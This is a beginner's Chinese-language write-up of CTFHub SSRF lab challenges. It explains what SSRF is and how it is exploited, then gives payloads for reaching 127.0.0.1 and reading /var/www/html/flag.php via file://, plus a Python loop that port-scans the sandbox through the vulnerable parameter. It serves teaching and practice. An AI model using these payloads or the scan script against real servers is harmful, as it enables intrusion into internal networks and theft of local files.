小白一个,记录解题过程,如有错误请指正!
补充知识点:
1.什么是SSRF
SSRF(Server-Side Request Forgery:服务器跨站请求),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
2.SSRF产生的原因
SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理
攻击远程和本地的服务器。
3.利用SSRF可以实现的攻击
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 攻击运行在内网或本地的应用程序
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
- 下载内网资源(如:利用
file
协议读取本地文件等) - 进行跳板
- 无视cdn
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
一、内网访问
1.题目这已经提示要访问的内网地址了,网站并没有设置waf之类防御的机制,构造payload如下:
?url=127.0.0.1/flag.php
二、伪协议读取文件
伪协议:事实上是其支持的协议与封装协议。而其支持的部分协议有:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
1.网站的目录一般都在/var/www/html/,我们由此构造payload:
?url=file:///var/www/html/flag.php
2.查看源代码就可以拿到flag了
持续更新~
三、端口扫描
题目已经提示我们需要扫描8000~9000的端口
解法一:Burp爆破
1.抓包,点击发送至Intruder
2.构建爆破参数
3.payloads页设置
4.点击 Start attack,开始爆破
5.最后发现是在8727端口,我是用脚本找出来的,burp社区版的速度太慢我受不了了哈哈哈
解法二:python脚本
1.因为我的burp不是专业版的,一直懒得破解,1000个端口等了将近一个小时还没爆出来,我受不了了,写了一个简单的脚本,不到两分钟就跑出来了。。。
import requests
url = 'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:8000'
for index in range(8000, 9001):
url_1 = f'http://challenge-c5ac47851c23e68a.sandbox.ctfhub.com:10800/?url=127.0.0.1:{index}'
res = requests.get(url_1)
print(index, res.text)
2.找到flag,在8727端口
参考文章: